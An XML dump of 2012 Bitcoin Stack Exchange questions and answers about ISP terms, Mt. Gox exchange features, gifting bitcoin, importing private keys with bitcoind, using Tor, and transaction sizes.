Title="Would my ISP consider my Bitcoin client to be a server?" Tags="|network|legal|server|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4342" PostTypeId="2" ParentId="4340" CreationDate="2012-08-03T15:21:30.793" Score="2" Body="&lt;p&gt;The Bitcoin client is not a server by the &lt;a href=&quot;http://en.wikipedia.org/wiki/Server_%28computing%29&quot; rel=&quot;nofollow&quot;&gt;usual definition&lt;/a&gt; of a server. By definition, a server exists to provide a service to its clients. If the client is a server, what would be the client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;http://en.wikipedia.org/wiki/Peer-to-peer#Architecture_of_P2P_systems&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt; says (emphasis added):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In pure peer-to-peer systems the entire network consists solely of equipotent &lt;strong&gt;peers&lt;/strong&gt;. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This describes the Bitcoin network.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-08-03T15:21:30.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4343" PostTypeId="2" ParentId="4340" CreationDate="2012-08-03T15:39:26.300" Score="3" Body="&lt;p&gt;Google refers to server as a business grade hosting with a very different usage profile then personal use. This is not intended to catch someone using home server, but if a small business tries to power their rack of servers, then there is grounds for termination.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Fiber Services are intended for the personal use of you and others with whom you share your residence (including, within reason, guests who are visiting you). You agree not to resell or repackage the Services for use by people other than those with whom you share your residence. If you wish to use the Google Fiber Services to provide Internet service to others, you must enter a separate agreement with Google Fiber that specifically authorizes you to do so.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://fiber.google.com/legal/terms.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Fiber Terms of Service&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Here are some common-sense rules that you should keep in mind when using services provided by Google Fiber:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your Google Fiber account is for your use and the reasonable use of your guests. Unless you have a written agreement with Google Fiber permitting you do so, you should not host any type of server using your Google Fiber connection, use your Google Fiber account to provide a large number of people with Internet access, or use your Google Fiber account to provide commercial services to third parties (including, but not limited to, selling Internet access to third parties).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://support.google.com/fiber/bin/answer.py?hl=en&amp;amp;answer=2659981&amp;amp;topic=2440874&amp;amp;ctx=topic&quot; rel=&quot;nofollow noreferrer&quot;&gt;Learn about Google Fiber terms of service&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-08-03T21:05:39.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4345" PostTypeId="1" AcceptedAnswerId="4347" CreationDate="2012-08-03T23:50:53.217" Score="1" ViewCount="909" Body="&lt;p&gt;When withdrawing using Mt. Gox, one of the checkboxes is marked &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3150&quot;&gt;Open Transaction&lt;/a&gt;&quot; and it shows that this requires &quot;6 Confirmations&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is used if you might be paying another Mt. Gox account but want it to go through the blockchain rather than as a transaction handled internally by Mt. Gox and thus no corresponding transaction in the blockchain is made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the input for the transaction is coming from Mt. Gox's own wallet, there is no concern over double spending.  Why would Mt. Gox require six confirmations for these if the recipient is another Mt. Gox account?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-02-05T01:56:19.123" Title="Why would Mt. Gox's Open Transaction method still require six confirmations?" Tags="|exchanges|mtgox|withdrawal|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4347" PostTypeId="2" ParentId="4345" CreationDate="2012-08-04T05:04:13.177" Score="3" Body="&lt;p&gt;I think it's as simple as MtGox waiting for 6 confirmations before accepting bitcoin deposits to your deposit address, no matter where they've come from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want instant transfers, don't use &quot;open transactions&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can try to make up reasons to try to make this policy make sense, but ultimately they make the rules and we act accordingly.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-08-04T05:04:13.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4348" PostTypeId="2" ParentId="4345" CreationDate="2012-08-04T06:03:57.743" Score="1" Body="&lt;p&gt;I think it was easier to implement open transaction this way because it didn't require any new functionality, otherwise they would have had to write additional code for something that probably not too many people find useful, since there is other methods to complete instant transfer.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2012-08-04T06:12:40.933" LastActivityDate="2012-08-04T06:12:40.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4349" PostTypeId="2" ParentId="3968" CreationDate="2012-08-04T10:28:08.367" Score="2" Body="&lt;p&gt;This is it - the &lt;a href=&quot;https://github.com/tarcieri/cryptosphere&quot; rel=&quot;nofollow&quot;&gt;CryptoSphere&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses some Bitcoin concepts, and might support paying for storage using Bitcoins. I believe that &quot;merge-mining it&quot; using the Bitcoin blockchain would be possible (it's too soon to tell, the design is preliminary).&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-08-04T10:28:08.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4350" PostTypeId="1" CreationDate="2012-08-04T10:38:08.627" Score="14" ViewCount="10054" Body="&lt;p&gt;I am interested in buying bitcoins and giving bitcoins to babies as &quot;birth gifts&quot; and birthday presents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I've purchased the necessary bitcoins and they are in my wallet, how do I go about giving bitcoins to someone who doesn't have a wallet? &lt;/p&gt;&#xA;" OwnerUserId="1675" LastActivityDate="2014-10-27T21:26:08.190" Title="Giving bitcoins to people as gifts" Tags="|transactions|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4351" PostTypeId="2" ParentId="4350" CreationDate="2012-08-04T11:07:11.960" Score="5" Body="&lt;p&gt;You can use &lt;a href=&quot;http://brainwallet.org/&quot;&gt;Brainwallet&lt;/a&gt; to generate a new private/public key pair. Click on the &quot;recycle&quot; symbol near &quot;Secret Exponent&quot;, write down the private key and send bitcoins to the given address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key is the only thing needed to recover the bitcoins. You can print it on some pretty support, but make sure it cannot be copied by a third party. You can even keep an encrypted backup in case the private key is later lost.&lt;/p&gt;&#xA;" OwnerUserId="1676" LastEditorUserId="659" LastEditDate="2012-08-04T15:44:46.913" LastActivityDate="2012-08-04T15:44:46.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4352" PostTypeId="2" ParentId="4350" CreationDate="2012-08-04T11:13:05.820" Score="6" Body="&lt;p&gt;Probably the most appealing way to do that would be by using &lt;a href=&quot;https://www.casascius.com/&quot;&gt;Physical Bitcoins&lt;/a&gt; - they look nice as coins, and since they can hold Bitcoins, it's another bonus. It's definitely better for casual people than giving them Bitcoins in a normal way - at least coins are something they can physically grasp, rather than trying to understand what a cryptocurrency is.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-04T11:13:05.820" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4353" PostTypeId="1" AcceptedAnswerId="4356" CreationDate="2012-08-04T12:49:03.180" Score="2" ViewCount="2316" Body="&lt;p&gt;I am setting up an webstore where you can pay with bitcoins. Therefore I created a bulk list on bitcoinaddress.org. I save the public addresses in a database and attach one to each transaction. Then I wait to recieve a notification from bitcoinmonitor.net and complete the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will work fine I think, but how can I get the funds from all the different addresses? I know you can import in some software a private key, but it is too much work to do for each order. Do you know something easier to collect the funds of all the generated addresses?&lt;/p&gt;&#xA;" OwnerUserId="1677" LastEditorUserId="153" LastEditDate="2012-08-04T16:33:19.303" LastActivityDate="2012-08-04T16:41:37.310" Title="Easiest way to collect funds of big lists of bitcoin privatekeys" Tags="|private-key|ecommerce|import|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4354" PostTypeId="2" ParentId="4350" CreationDate="2012-08-04T15:48:10.950" Score="2" Body="&lt;p&gt;Here are two sites which allow you to send bitcoins to an email address.  Perhaps try sending yourself tiny amounts with each site to see how they work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://coinapult.com/&quot; rel=&quot;nofollow&quot;&gt;http://coinapult.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://cowcoin.com/&quot; rel=&quot;nofollow&quot;&gt;https://cowcoin.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="659" LastEditorUserId="5406" LastEditDate="2013-12-18T17:20:57.013" LastActivityDate="2013-12-18T17:20:57.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4355" PostTypeId="2" ParentId="2254" CreationDate="2012-08-04T16:29:31.553" Score="4" Body="&lt;p&gt;An answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4205/659&quot;&gt;How can I export the private key for an address from the satoshi client?&lt;/a&gt; gives the steps required to export a private key. The steps to import a private key are the same except that you need to change &quot;dumpprivkey 1aaabbb...&quot; to &quot;importprivkey 5aaabbb...&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use bitaddress.org's &quot;Bulk Wallet&quot; feature you can generate a list of private keys, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1,&quot;1AWUTMBC3XuTnPugwznNoju37ptACYRJyn&quot;,&quot;5K4dStGTDUR4r9yCwe7DqLunr5o7fjs2rH1Qb7KQg76d6KASGqv&quot;&#xA;2,&quot;1QKvh1wy8Vgri7BCGnY3XiXsdoX8SpzYTK&quot;,&quot;5JT6RJLjkKp5UDkkBsTNjNFgoo8o3bB3qK1qvsxKawCjh8X4pQQ&quot;&#xA;3,&quot;171er29jxgoUw5GNZFRF5w7FCUeXvPHbyK&quot;,&quot;5KBmhDfAEPDTd9asLCYcWaJNkc9KNvBmFoZzPTWfCdq3CaLePAB&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To import all the private keys into your wallet:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;copy/paste the list into a temporary file, &lt;code&gt;/tmp/bitaddress.txt&lt;/code&gt; making sure there's a newline on the end of the last line&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;tr -d '&quot;' &amp;lt; /tmp/bitaddress.txt | tr , ' ' | while read number address privkey; do echo importing $address; bitcoind importprivkey $privkey; done&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: if you're running Windows you'll need to modify the command in step 2 to whatever the equivalent Windows shell command would be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note 2: &lt;strike&gt;the &lt;code&gt;importprivkey&lt;/code&gt; command is very slow since it rescans the whole transaction history after each private key import.  It's possible to speed it up considerably by &lt;a href=&quot;https://bitcointalk.org/index.php?topic=43496.msg1065765#msg1065765&quot; rel=&quot;nofollow noreferrer&quot;&gt;commenting out two lines in the bitcoind source code&lt;/a&gt;.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note 3: importprivkey now has an optional rescan option which you can set to false. This will make importing much faster, and you don't have to edit the source code.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-08-10T08:36:28.453" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4356" PostTypeId="2" ParentId="4353" CreationDate="2012-08-04T16:30:32.567" Score="1" Body="&lt;p&gt;I would import all the private keys into my wallet immediately after generating them with bitaddress.org.  There's no need to wait for them to be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4355/659&quot;&gt;this answer&lt;/a&gt; for how to import the whole collection at once.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-08-04T16:30:32.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4357" PostTypeId="2" ParentId="4353" CreationDate="2012-08-04T16:41:37.310" Score="0" Body="&lt;p&gt;If you don't want to use your own wallet (and local bitcoind) but instead want to use a hosted solution, you can import all the private keys into Mt. Gox (redeem private key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mt. Gox will then sweep any incoming transactions into your Mt. Gox account.  They even have an API for adding &lt;a href=&quot;http://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#redeem_a_private_key&quot; rel=&quot;nofollow&quot;&gt;(redeeming) these private keys&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-04T16:41:37.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4358" PostTypeId="1" CreationDate="2012-08-04T16:47:26.117" Score="5" ViewCount="931" Body="&lt;p&gt;Just added to Mt. Gox's API documentation is the ability to &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#redeem_a_wallet.dat&quot;&gt;Redeem a wallet.dat&lt;/a&gt;, which allows a simple way to import (via upload of wallet.dat) all your private keys to be managed by Mt. Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All bitcoin amounts in your wallet will be transferred to your Mt. Gox account and any amounts received later will be swept at that time as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this feature work with an encryption-protected wallet.dat though?  The API doesn't show any way to send the passphrase as far as I can tell.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="2306" LastEditDate="2015-03-13T14:40:03.407" LastActivityDate="2015-03-13T14:40:03.407" Title="Does Mt. Gox's &quot;Redeem a wallet.dat&quot; feature require an unencrypted wallet?" Tags="|mtgox|private-key|wallet.dat|wallet-import|" AnswerCount="1" CommentCount="3" ClosedDate="2014-08-20T20:27:13.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="4359" PostTypeId="2" ParentId="4006" CreationDate="2012-08-04T17:45:38.930" Score="6" Body="&lt;p&gt;On the new Mac&amp;nbsp;OS&amp;nbsp;X you can't see the Bitcoin folder in the library under /application support/. You have to use Finder and in the menu look for GO and then GO TO type &lt;code&gt;~/Library&lt;/code&gt; in the box. After that you can see the Bitcoin folder under /application support/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can hold down the &lt;kbd&gt;Option&lt;/kbd&gt; key while selecting the &lt;em&gt;Go&lt;/em&gt; menu and &lt;em&gt;Library&lt;/em&gt; will become an option.&lt;/p&gt;&#xA;" OwnerUserId="1674" LastEditorUserId="1405" LastEditDate="2014-05-17T11:16:24.597" LastActivityDate="2014-05-17T11:16:24.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4360" PostTypeId="2" ParentId="3060" CreationDate="2012-08-04T21:44:43.277" Score="0" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4359/659&quot;&gt;this answer&lt;/a&gt; the &lt;code&gt;Bitcoin&lt;/code&gt; folder isn't visible inside &lt;code&gt;Application Support&lt;/code&gt; unless you do some workaround.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-08-04T21:44:43.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4361" PostTypeId="1" AcceptedAnswerId="4362" CreationDate="2012-08-05T04:30:59.513" Score="1" ViewCount="254" Body="&lt;p&gt;Oftentimes my own IP address shows up as the &quot;Relayed by ip&quot; piece of data reported by Blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a commercial node available that I can conract with to act as relay so that my IP won't be known?  (and has as part of the agreement their assurance to not log IPs for transactions)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are certain well connected nodes that I can connect to, but I don't have the guarantee from them that they aren't collecting and sharing my IP info.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-05T08:54:59.553" Title="Are there any commercial nodes available so my transactions won't show my IP address?" Tags="|client|privacy|network|relay|commercial|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4362" PostTypeId="2" ParentId="4361" CreationDate="2012-08-05T08:54:59.553" Score="5" Body="&lt;p&gt;Bitcoin will run over Tor. There &lt;a href=&quot;https://en.bitcoin.it/wiki/Tor&quot;&gt;an article&lt;/a&gt; on the Bitcoin wiki that explains the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just install Tor and let it set up a proxy on its default IP (127.0.0.1) and port (9050). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bitcoind, use the flag &lt;code&gt;--proxy=127.0.0.1:9050&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the GUI client, under &lt;code&gt;Options&lt;/code&gt;, check &lt;code&gt;Connect through socks4 proxy&lt;/code&gt;. Set the proxy IP to &lt;code&gt;127.0.0.1&lt;/code&gt; and the port to &lt;code&gt;9050&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-08-05T08:54:59.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4363" PostTypeId="2" ParentId="4214" CreationDate="2012-08-05T09:28:20.273" Score="2" Body="&lt;p&gt;I consider the &lt;a href=&quot;https://blockchain.info/wallet/&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info Wallet&lt;/a&gt; &lt;a href=&quot;https://play.google.com/store/apps/details?id=piuk.blockchain&amp;amp;feature=search_result#?t=W251bGwsMSwxLDEsInBpdWsuYmxvY2tjaGFpbiJd&quot; rel=&quot;nofollow&quot;&gt;Android App&lt;/a&gt; the best one on the market. It's no true client but an e-wallet but you can manage your own true wallets and addresses and your private keys are stored encrypted. The decryption happens on your phone.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2012-08-05T09:28:20.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4364" PostTypeId="2" ParentId="1519" CreationDate="2012-08-05T13:17:06.620" Score="3" Body="&lt;p&gt;Yes, block 19200 was mined using MM, by slush's pool. AFAIK first Bitcoin block with merged-mining information was 00000000000002c727047296ee20b628599031c6ea5c09292513fddbb11d34df (block &lt;a href=&quot;http://blockexplorer.com/b/148557&quot; rel=&quot;nofollow&quot;&gt;148557&lt;/a&gt;), also mined by slush's pool.&lt;/p&gt;&#xA;" OwnerUserId="1681" LastEditorUserId="-1" LastEditDate="2012-08-06T02:06:03.400" LastActivityDate="2012-08-06T02:06:03.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4365" PostTypeId="2" ParentId="2300" CreationDate="2012-08-05T14:38:27.160" Score="-1" Body="&lt;ol&gt;&#xA;&lt;li&gt;download bitcoin-tools(python wallet-reader)&lt;/li&gt;&#xA;&lt;li&gt;export the privatekeys.&lt;/li&gt;&#xA;&lt;li&gt;import them, at a wallet site blockchain.info&lt;/li&gt;&#xA;&lt;li&gt;export json format private key&lt;/li&gt;&#xA;&lt;li&gt;import json key from Multibit&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1429" LastActivityDate="2012-08-05T14:38:27.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4366" PostTypeId="1" AcceptedAnswerId="6084" CreationDate="2012-08-06T03:51:14.517" Score="1" ViewCount="619" Body="&lt;p&gt;An exchange I use (Mt. Gox) wants me to send a color scan of my ID.  The only camera I have access to is a grainy camera on my feature phone.  I don't know the camera resolution but it is not very high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ID is readable but doesn't fill even half the image.  If I try to get closer, the image is too out of focus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this image be accepted or will my account end up getting locked (&quot;under review&quot;) until I send in a scan with a better photo?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="516" LastEditDate="2013-01-10T09:04:33.627" LastActivityDate="2013-01-10T16:55:48.857" Title="Will MtGox accept a poor quality ID photo?" Tags="|exchanges|mtgox|identity|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4367" PostTypeId="1" CreationDate="2012-08-06T15:08:29.543" Score="0" ViewCount="71" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22/is-it-possible-to-brute-force-bitcoin-address-creation-in-order-to-steal-money&quot;&gt;Is it possible to brute force bitcoin address creation in order to steal money?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I've tried &lt;a href=&quot;http://brainwallet.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;brainwallet.org&lt;/a&gt; and now I wonder, what happens if someone starts to generate a lot of private keys and add them to his wallet (or MtGox account)? That person will eventually get somebody else's private key and be able to use his/her Bitcoins. Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="1624" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-08-06T15:08:29.543" Title="How secure is a private key?" Tags="|security|private-key|cryptography|" AnswerCount="0" CommentCount="5" ClosedDate="2012-08-06T16:09:17.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="4370" PostTypeId="2" ParentId="4320" CreationDate="2012-08-06T20:57:46.803" Score="0" Body="&lt;p&gt;Depending on the implementation, it might not require a hard-fork (which is defined as old clients not following the ongoing blockchain). If all POS-enabled blocks also have valid POWs, old clients will accept them too. This is similar to the BIP16 rollout last March.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure proof-of-stake is a good idea, since it gives even more power to computer crackers who steal a lot of Bitcoins, and forces miners to keep their Bitcoins online for mining. It also could lock a lot of smaller miners out.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-08-06T20:57:46.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4371" PostTypeId="2" ParentId="4306" CreationDate="2012-08-06T21:00:30.030" Score="1" Body="&lt;p&gt;Double spending would be fraud.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-08-06T21:00:30.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4372" PostTypeId="1" AcceptedAnswerId="4374" CreationDate="2012-08-06T22:22:58.917" Score="3" ViewCount="819" Body="&lt;p&gt;There's this transaction: &lt;a href=&quot;http://blockchain.info/tx/2588df59035129de0f0cb20d2cb5d77d18830043aa68ad2a1a2df7d727bc7a62&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx/2588df59035129de0f0cb20d2cb5d77d18830043aa68ad2a1a2df7d727bc7a62&lt;/a&gt; that is 802 bytes but for only 1.4BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another transaction: &lt;a href=&quot;http://blockchain.info/tx-index/14803514/781333d877bae2b4d8fc7ff856b38989013f0a11668395b8f90b423dd2ffc230&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx-index/14803514/781333d877bae2b4d8fc7ff856b38989013f0a11668395b8f90b423dd2ffc230&lt;/a&gt; is for 50.4BTC by only 118 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what exactly goes into a transaction that would increase / decrease the size of the transaction?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="2306" LastEditDate="2013-03-15T16:25:11.620" LastActivityDate="2013-03-15T16:25:11.620" Title="Why are some transactions larger (in bytes) than others?" Tags="|transactions|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4373" PostTypeId="2" ParentId="4372" CreationDate="2012-08-06T22:51:26.453" Score="2" Body="&lt;p&gt;If you click the link &quot;Show scripts &amp;amp; coinbase&quot;, you'll see the inputs and outputs for the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 802 byte transaction had 4 inputs and 2 outputs (1.4BTC and some change, probably). The 118 byte transaction is a mined block and just has a single output.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-08-07T04:43:20.090" LastActivityDate="2012-08-07T04:43:20.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4374" PostTypeId="2" ParentId="4372" CreationDate="2012-08-06T23:49:27.553" Score="4" Body="&lt;p&gt;I give a formula that you can use to calculate the size of a transaction given the number of inputs and outputs &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3011/659&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most significant factor contributing to the size of a transaction is the number of inputs to transaction has.  Each input contributes 179 to 181 bytes to the size, and each output contributes 34 bytes to the size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your large transaction has 4 inputs - that's why it's bigger than the other transaction, which has none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual number of bitcoins spent by a transaction is completely irrelevant, except that there may be a tendency for transactions which spend more coins to require more inputs to make up the amount.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2012-08-06T23:49:27.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4375" PostTypeId="1" CreationDate="2012-08-07T04:01:31.187" Score="2" ViewCount="813" Body="&lt;p&gt;Even though I'm a person that is usually informed about anything related to new technologies in any area, I can't believe how I didn't know about Bitcoin until a few months ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I thought, people that don't even care about this kind of stuff will never know about Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even worse, I live in a developing country and when I comment about this they think it is like a game. It is really hard to explain to somebody without enough knowledge that the system really works and could be daily used in a near future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, how can I evangelize the Bitcoin usage between the majority of people?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, my ideas are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Try to sell BTC at market price (not making profit).&lt;/li&gt;&#xA;&lt;li&gt;Encourage stores (mostly online) to use it.&lt;/li&gt;&#xA;&lt;li&gt;Have a local store with discounts for paying in BTC.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1624" LastEditorUserId="5406" LastEditDate="2014-05-02T17:42:34.477" LastActivityDate="2014-05-02T17:42:34.477" Title="What are good ideas to help promote Bitcoin?" Tags="|marketing|promotion|" AnswerCount="2" CommentCount="5" ClosedDate="2012-08-13T18:12:42.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="4376" PostTypeId="1" CreationDate="2012-08-07T04:25:06.430" Score="17" ViewCount="8246" Body="&lt;p&gt;Is there anybody that knows of a site that does a fairly thorough comparison of all currently active exchanges, and their fees especially. Like there is distrowatch.com and cmsmatrix.org. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest i've seen is on the bitcoin wiki : &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_bitcoins&quot;&gt;https://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt; (and related pages)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone?&lt;/p&gt;&#xA;" OwnerUserId="1690" LastEditorUserId="5406" LastEditDate="2014-09-03T11:31:47.870" LastActivityDate="2016-09-05T21:33:56.457" Title="Is there a Bitcoin exchange comparison site (fees, details) like distrowatch.com or http://cmsmatrix.org/?" Tags="|exchanges|websites|exchange-fees|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4377" PostTypeId="2" ParentId="4315" CreationDate="2012-08-07T08:48:52.173" Score="-1" Body="&lt;p&gt;There is no way to attach meta data to the block-chain without forming an alternate chain, which as ThePiachu pointed out requires a modified client. However, you could&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generate a wallet&lt;/li&gt;&#xA;&lt;li&gt;Send 1 BTC to that wallet&lt;/li&gt;&#xA;&lt;li&gt;Add both the public bitcoin wallet address and the block of your 1 BTC deposit&lt;/li&gt;&#xA;&lt;li&gt;Use the private key of the Bitcoin wallet to sign the article contents&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can now prove to third parties you authored the document by sending 0.01 BTC to interested parties.&lt;/p&gt;&#xA;" OwnerUserId="1691" LastActivityDate="2012-08-07T08:48:52.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
